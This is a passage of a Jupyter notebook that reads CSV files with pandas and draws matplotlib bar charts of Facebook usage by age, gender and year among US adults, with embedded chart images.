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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd # import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "import numpy as np\n", + "\n", + "# reading the csv file \n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB9.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "#making a dataframe\n", + "df = pd.DataFrame(stats) #make dataframe\n", + "x = list(df.iloc[:, 0]) #get 0th col\n", + "y = list(df.iloc[:, 1]) #get 1st col\n", + "z = list(df.iloc[:, 2])\n", + "w = list(df.iloc[:, 3])\n", + "\n", + "N = len(x)\n", + "ind = np.arange(N)\n", + "plt.figure(figsize=(21,10))\n", + "width = 0.2 \n", + "\n", + "# Plotting\n", + "plt.grid(axis='y', color='g')\n", + "plt.bar(ind, y , width, label='Male', color='k')\n", + "plt.bar(ind + width, z, width, label='Female',color='r')\n", + "plt.bar(ind + 2*width, w, width, label='All',color='g')\n", + "\n", + "plt.xticks(ind + width / 2, x)\n", + "\n", + "plt.xlabel(\"Age\")\n", + "plt.ylabel(\"Percentage\")\n", + "plt.title(\"Facebook users by age and gender\")\n", + "\n", + "# Finding the best position for legends and putting it\n", + "plt.legend(loc='best')\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Percentage of US adults using Facebook" + ] + }, + { + "cell_type": "code", + "execution_count": 116, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Date Percentage_using_Facebook\n", + "0 Aug-12 54\n", + "1 Sep-13 57\n", + "2 Sep-14 58\n", + "3 Apr-15 62\n", + "4 Apr-16 68\n", + "5 Jan-18 64\n", + "6 Feb-19 69\n" + ] + }, + { + "data": { + "image/png": "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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd # import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "\n", + "# reading the csv file \n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB10.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "#making a dataframe\n", + "df = pd.DataFrame(stats)\n", + "\n", + "#get x list\n", + "x = list(df.iloc[:, 0])\n", + "#get y list\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "#plotting\n", + "plt.title(\"Percentage of US adults using Facebook\")\n", + "plt.xlabel(\"Date\")\n", + "plt.ylabel(\"Percentage\")\n", + "plt.bar(x,y, color='k')\n", + "plt.grid(axis='y',color='r')\n", + "plt.show()" + ] + }, + { + "attachments": { + "image.png": { + "image/png": 